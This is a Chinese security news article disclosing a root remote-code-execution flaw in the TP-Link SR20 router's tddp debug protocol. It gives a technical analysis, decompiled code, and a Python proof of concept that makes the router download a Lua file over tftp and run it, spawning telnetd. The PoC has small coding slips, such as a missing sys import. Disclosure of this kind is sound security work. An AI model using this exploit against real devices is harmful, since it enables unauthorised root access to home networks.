TP-Link SR20路由器0 day漏洞 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

TP-Link SR20路由器0 day漏洞

ang010ela 新闻 2019-04-01 11:13:08
156327
收藏

导语:​Google安全开发人员Matthew Garrett发现TP-Link SR20路由器存在root权限下的远程代码执行漏洞。

概述

Google安全开发人员Matthew Garrett发现TP-Link SR20智能家庭路由器存在0 day任意代码执行漏洞,处于同一网络的攻击者可以利用漏洞以root权限执行任意命令。

Garrett称公开漏洞是由于自他将漏洞报告给TP-link已经90天了,而TP-link尚未修复给漏洞,且没有给出回应。

技术分析

TP-Link SR20路由器融合了Zigbee/ZWave hub和路由器的功能,提供一个触摸屏用于配置和控制。固件二进制文件参见。研究人员分析固件发现一个名为tddp的可执行文件。运行arm-linux-gnu-nm -D发现它会导入popen(),因为popen()会将参数直接传递给shell,所以如果可以将用户控制的输入传给popen()调用,也就可以实现攻击利用。
Tddp是TP-Link Device Debug Protocol(设备调试协议),运行在大多数的TP-Link设备上,但在不同的设备上却有不同的功能。最常见的就是协议,有趣的是该协议的v2版本是需要认证的,还需要知道路由器的admin密码,而v1版本是非认证的。

将tddp复制到Ghidra中进行分析后,研究人员发现了一个名为recvfrom()的函数,它会从网络socket中复制信息。它会查看packet中的第一个字节,并用来决定使用的是哪种协议,并根据协议的版本确定要将packet传递给哪个dispatcher。在v1版本中,dispatcher会查看packet的第二个字节,并根据其中的值调用不同的函数,0x31就是CMD_FTEST_CONFIG。
研究人员对该函数进行了反编译:

int ftest_config(char *byte) {
  int lua_State;
  char *remote_address;
  int err;
  int luaerr;
  char filename[64]
  char configFile[64];
  char luaFile[64];
  int attempts;
  char *payload;

  attempts = 4;
  memset(luaFile,0,0x40);
  memset(configFile,0,0x40);
  memset(filename,0,0x40);
  lua_State = luaL_newstart();
  payload = iParm1 + 0xb027;
  if (payload != 0x00) {
    sscanf(payload,"%[^;];%s",luaFile,configFile);
    if ((luaFile[0] == 0) || (configFile[0] == 0)) {
      printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b);
    }
    else {
      remote_address = inet_ntoa(*(in_addr *)(iParm1 + 4));
      tddp_execCmd("cd /tmp;tftp -gr %s %s &",luaFile,remote_address);
      sprintf(filename,"/tmp/%s",luaFile);
      while (0 < attempts) {
        sleep(1);
        err = access(filename,0);
        if (err == 0) break;
        attempts = attempts + -1;
      }
      if (attempts == 0) {
        printf("[%s():%d] lua file [%s] don\'t exsit.\n","tddp_cmd_configSet",0x23e,filename);
      }
      else {
        if (lua_State != 0) {
          luaL_openlibs(lua_State);
          luaerr = luaL_loadfile(lua_State,filename);
          if (luaerr == 0) {
            luaerr = lua_pcall(lua_State,0,0xffffffff,0);
          }
          lua_getfield(lua_State,0xffffd8ee,"config_test",luaerr);
          lua_pushstring(lua_State,configFile);
          lua_pushstring(lua_State,remote_address);
          lua_call(lua_State,2,1);
        }
        lua_close(lua_State);
      }
    }
  }
}

可以看出该函数会将对含有两个用;隔开的字符串的payload的packet进行分析。第一个字符串是文件名,第二个是配置文件。然后调用tddp_execCmd("cd /tmp; tftp -gr %s %s &",luaFile,remote_address),它会在后台执行tftp命令。然后连接回发送该命令的机器,并尝试通过tftp协议下载与发送的文件名对应的文件。主tddp进程会回等待4秒钟的时间来等候文件出现,一旦出现就将文件加载到LUA翻译器中,然后用配置文件名和远程地址作为参数调用config_test()。因为config_test()是从远程机器下载的文件提供的,因此在翻译器中可以执行任意代码,包括在主机上运行命令的os.execute方法。因为tddp是以root权限运行的,所以攻击者也可以以root权限执行任意命令。

POC

PoC代码如下:

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
 
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
 
import binascii
import socket
 
port_send = 1040
port_receive = 61000
 
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
 
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
 
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
 
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
 
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)


  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务